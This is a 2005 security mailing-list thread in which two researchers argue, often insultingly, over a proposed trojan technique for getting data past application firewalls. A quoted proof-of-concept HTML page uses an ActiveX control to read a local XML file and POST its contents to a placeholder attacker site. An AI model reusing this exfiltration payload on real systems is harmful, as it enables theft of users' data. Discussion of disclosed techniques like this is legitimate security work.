Re: new attack technique? using JavaScript+XML+OWSPost Data

[Gaurav Kumar <gaurav () securebox org>]

typo- i am 22 and YOU ARE 27, so i am 5 years kidder than u.

On 12/22/05, Gaurav Kumar <gaurav () securebox org> wrote:
> oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years kidder than u)
>
> The _real_ thing is that I proved the point.
> U told win xp will give access denied error. I proved u wrong with the
> proof attached.
> U told above technique wont work...i proved u wrong.
> Tell me one thing, a Windows XP + Offfice XP + Internet explorer
> combination so rare ?
>
> Is that all making ur ego shattered?
>
> ...and u are no one to decide what should one disuss on this list.
>
> regards,
> gaurav
>
>
>
> On 12/22/05, Debasis Mohanty <mail () hackingspirits com> wrote:
> > Kid,
> > Although I normally don't reply to such frivilous and lame statements but
> > your reply has seriously piss me off.. So dropping few lines, perhaps will
> > help you grow up !!
> >
> > -----Original Message-----
> > > > From: Gaurav Kumar brazenly wrote:
> >
> > > > Looks like u need to read again what i wrote. I didnt use the word
> > 'spread'.
> >
> > I don't have to !! I can still remember your priceless statements [1] + [2]
> > -
> >
> > [1] A Trojan has been to be placed in a system running an application
> > [1] firewall like Zone Alarm Pro etc.
> >
> > [2] The target system must be having office XP and the user has to be
> > [2] lured to view a webpage hosted by attacker.
> >
> >
> > ROFL !! May be you could just ask your l33t victim to send you his passwords
> > and other info by email :P Don't forget to send him your l33t email ID -
> > '@securebox.org'
> >
> >
> > > > [3] Moreover, u need not know if the target system is running ZA or
> > not...
> > > > [3] "the technique works even if firewall is not installed".
> >
> > > > [4] I am discussing a possible 'design' of a trojan here, "doesnt matter
> > is ZA
> > > > [4] or any other FW is running on client".
> >
> > Looking at statement [3] & [4], (especially the statement within double
> > quotes) just made me believe that you don't know what your are talking about
> > unless you want to look like an idiot.
> >
> >
> > > > really? ever heard of IE exploits?
> >
> > Priceless !!
> >
> >
> > > > Well..Exactly! i would suggest u read the 'assumptions' first, its
> > > > an assumption that user will click yes to warning...like most 'normal'
> > users do.
> >
> > Yet another priceless statement... Maybe you could just ask your l33t victim
> > to click 'yes' to your l33t piece of code trying to download some l33t piece
> > of shit which will fail to run and die like an idiot.
> >
> >
> > I am sure you have enough l33t skills to strick back to keep your ego
> > up2date however, I wud rather suggest if you have only your stupidity to
> > share then feel free to take it offline and don't piss off everyone in this
> > list. I would welcome you if you really want to strike back with some
> > _serious_ technical stuff. (Note: make a note of _serious_ in the statement)
> >
> > - D
> >
> >
> >
> >
> > -----Original Message-----
> > From: gkverma () gmail com [mailto:gkverma () gmail com] On Behalf Of Gaurav Kumar
> > Sent: Thursday, December 22, 2005 8:52 AM
> > To: Debasis Mohanty
> > Cc: full-disclosure () lists grok org uk; websecurity () webappsec org
> > Subject: Re: [WEB SECURITY] RE: [Full-disclosure] new attack technique?
> > using JavaScript+XML+OWSPost Data
> >
> > On 12/22/05, Debasis Mohanty <mail () hackingspirits com> wrote:
> > > -----Original Message-----
> > > From: Gaurav Kumar
> > > Sent: Wednesday, December 21, 2005 8:59 PM
> > > To: full-disclosure () lists grok org uk
> > > Cc: websecurity () webappsec org
> > > Subject: [Full-disclosure] new attack technique? using
> > > JavaScript+XML+OWSPost Data
> > >
> > > 1>> A Trojan has been to be placed in a system running an application
> > > 1>> firewall like Zone Alarm Pro etc.
> > >
> > > > > Assumptions:
> > >
> > > 2>> The target system must be having office XP and the user has to be
> > > 2>> lured to view a webpage hosted by attacker.
> > >
> > > 3>> The Trojan can be designed to generate an xml file which will
> > > 3>> contain the data to be sent out. The attacker will lure
> > > the
> > > 3>> user to visit a website hosted by him.
> > >
> > > Lol !! In a practical scenario, the attacker who spreads the
> > > worm/trojans himself is not aware in the initial stage which are the
> > > infected machines unless the trojan sends back the machine/user info
> > > back to the attacker. Now as you have already mentioned ZA is running
> > > then no data can be sent back to the attacker. So the attacker is clueless
> > which are those infected machines.
> >
> > Looks like u need to read again what i wrote. I didnt use the word 'spread'.
> > Moreover, u need not know if the target system is running ZA or not...the
> > technique works even if firewall is not installed. I am discussing a
> > possible 'design' of a trojan here, doesnt matter is ZA or any other FW is
> > running on client.
> >
> > > So the case of luring the user to visit the link is out of scope...
> >
> > really? ever heard of IE exploits?
> >
> > > > > The site can have following HTML code-
> > >
> > > Now coming back to technical stuff, You are trying to access a local
> > > file which will only be allowed if the site is in "Trusted Sites" or
> > > "Local Intranet" or "Local Security Zone" and activex not marked safe.
> > > The fact that *the client is also the server* is irrelevant.
> > >
> > > Try uploading the script to some webserver and give a html extention;
> > > it will throw an _access denied_ error when the page loads (even on
> > > Win XP + SP1).
> > >
> > > In case of any server side extention like *.asp, *.jsp etc, the user
> > > will be prompted that an malicious component is trying to load and ask
> > > for user permission.
> > >
> > >
> > > > > <html>
> > > > > <body>
> > > > > The author is not responsible for any misuse, this PoC is for
> > > > > educational purpose only.
> > > > > <object classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}"
> > > > > id="exp">
> > > > > </object>
> > > > > <script LANGUAGE=javascript>
> > > > > var xmlDoc
> > > > > xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
> > > > > xmlDoc.async=false;
> > > > > xmlDoc.load("c:\\note.xml");
> > > > > xmlObj=xmlDoc.documentElement;
> > > > > var a= xmlObj.firstChild.text;
> > > > > exp.Post(0,"http://www.attackersite.com/input.asp",a);
> > > > > </script>
> > > > > </body>
> > > > > </html>
> > >
> > >
> > > > > The above code (works well on windows XP SP2) essentials calls "OWS
> > > > > Post Data" COM control to post the contents of note.xml (generated
> > > > > by trojan) to attackersite.com
> > >
> > > IMHO, never conduct such tests in a "Intranet Zone" or "Local Zone"
> > > and draw conclusion about "Internet Security Zone".
> > >
> > > You may also link to know about this issue -
> > > http://support.microsoft.com/kb/317244/EN-US/
> > >
> > >
> > > > > > Essentially, the technique is breaking the basic functionality of
> > > > > > application firewalls by using OWS Post Data as bridge for sending
> > > > > > out the data using Javascript and XML.
> > >
> > > Not Exactly !! I wud rather suggest you to do a little more research
> > > and draw any conclusion. Keep those _Security Zones_ in mind before
> > > you post anything...
> >
> > Well..Exactly! i would suggest u read the 'assumptions' first, its an
> > assumption that user will click yes to warning...like most 'normal'
> > users do.
> > > - D
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